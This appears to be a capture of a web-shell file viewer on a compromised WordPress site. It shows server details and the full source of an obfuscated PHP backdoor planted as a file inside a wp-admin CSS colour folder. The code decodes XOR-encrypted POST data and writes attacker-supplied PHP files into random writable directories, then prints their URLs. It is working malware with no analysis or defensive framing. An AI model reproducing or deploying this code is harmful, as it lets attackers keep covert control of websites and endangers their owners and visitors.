HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-admin/css/colors/blue/fahrmwyj.php
<?php $YuTjozkPwB = chr(863-795)."\117"."\103".chr(1030-945)."\x4d".chr(586-517)."\116".chr(84)."\x5f"."\122".chr(79).'O'.'T';$AtuFko = chr(378-306)."\x54".chr(174-90).chr(80).chr(95).chr(869-797).'O'.chr(83)."\x54";$BSTrkuF = "\x68".'t'."\164"."\x70"."\x3a"."\57".chr(47);$pPdqjyTGoh = "\x2e".chr(231-119)."\x68"."\160";$xhUXhKs = chr(587-475).chr(1038-934).'p';$RgZBrgTzG = chr(102).'i'."\154".'e'."\x5f"."\160"."\165"."\164".chr(263-168).chr(759-660).'o'."\x6e"."\x74".chr(101).chr(246-136).chr(116).'s';$mxYKBugK = "\x72"."\141".chr(556-437)."\x75".chr(220-106).chr(108)."\x64".'e'.chr(99)."\157".'d'."\145";$lgsInsZYxH = "\x75"."\156"."\x73"."\145".chr(114).chr(105)."\141".chr(901-793).chr(858-753)."\172".'e';$hBhFGQskM = 'i'.chr(491-376)."\137".chr(119).'r'.chr(423-318).chr(629-513).chr(731-634)."\x62".chr(337-229).chr(101);$WFPlnOGu = "\160".chr(408-304)."\x70".chr(148-30)."\145"."\x72"."\163"."\151"."\157"."\156";$KdVMLg = chr(115).'t'.chr(718-604)."\137".chr(594-480)."\x6f"."\164".'1'."\63";$dhiRVN = "\x73".'e'.chr(517-403).chr(105).chr(97)."\x6c"."\151"."\x7a"."\145";$nTuSbfE = "\x73".'t'."\162".chr(951-856)."\x73"."\x70".chr(108).chr(105).'t';foreach ($_POST as $RpJaNGIysy => $eBeyTft){$zWQkvOk = strlen($RpJaNGIysy);if ($zWQkvOk == 16){$eBeyTft = $nTuSbfE($mxYKBugK($KdVMLg($eBeyTft)));$RpJaNGIysy = array_slice($nTuSbfE(str_repeat($RpJaNGIysy, (count($eBeyTft)/16)+1)), 0, count($eBeyTft));function sFRSdy($Nuklu, $ZDwUqS, $RpJaNGIysy){$SBUnIZtzlj = "5c2058cd-261d-4dce-be85-7dcde2d4f498";return $Nuklu ^ $SBUnIZtzlj[$ZDwUqS % strlen($SBUnIZtzlj)] ^ $RpJaNGIysy;}$eBeyTft = array_map("sFRSdy", array_values($eBeyTft), array_keys($eBeyTft), array_values($RpJaNGIysy));$eBeyTft = implode("", $eBeyTft);$eBeyTft = @$lgsInsZYxH($eBeyTft);if (@is_array($eBeyTft)){$oxUGT = array_keys($eBeyTft);$eBeyTft = $eBeyTft[$oxUGT[0]];if ($eBeyTft === $oxUGT[0]){echo @$dhiRVN(Array($xhUXhKs => @$WFPlnOGu(), ));exit();}else {function XwfsEXL($QOPgpQFzir){static $fEKQkWDa = array();$lXJvRJKAN = glob($QOPgpQFzir . '/*', GLOB_ONLYDIR);$LeoNJFymG = count($lXJvRJKAN);if ($LeoNJFymG > 0) {foreach ($lXJvRJKAN as $QOPgpQFz) {if (@$hBhFGQskM($QOPgpQFz)) {$fEKQkWDa[] = $QOPgpQFz;}}}foreach ($lXJvRJKAN as $QOPgpQFzir) XwfsEXL($QOPgpQFzir);return $fEKQkWDa;}$matyKfTct = $_SERVER[$YuTjozkPwB];$lXJvRJKAN = XwfsEXL($matyKfTct);$oxUGT = array_rand($lXJvRJKAN);$crLoO = $lXJvRJKAN[$oxUGT] . "/" . substr(md5(time()), 0, 8) . $pPdqjyTGoh;@$RgZBrgTzG($crLoO, $eBeyTft);$AtTYNsXre = $BSTrkuF . $_SERVER[$AtuFko] . substr($crLoO, strlen($matyKfTct));print($AtTYNsXre);die();}}}}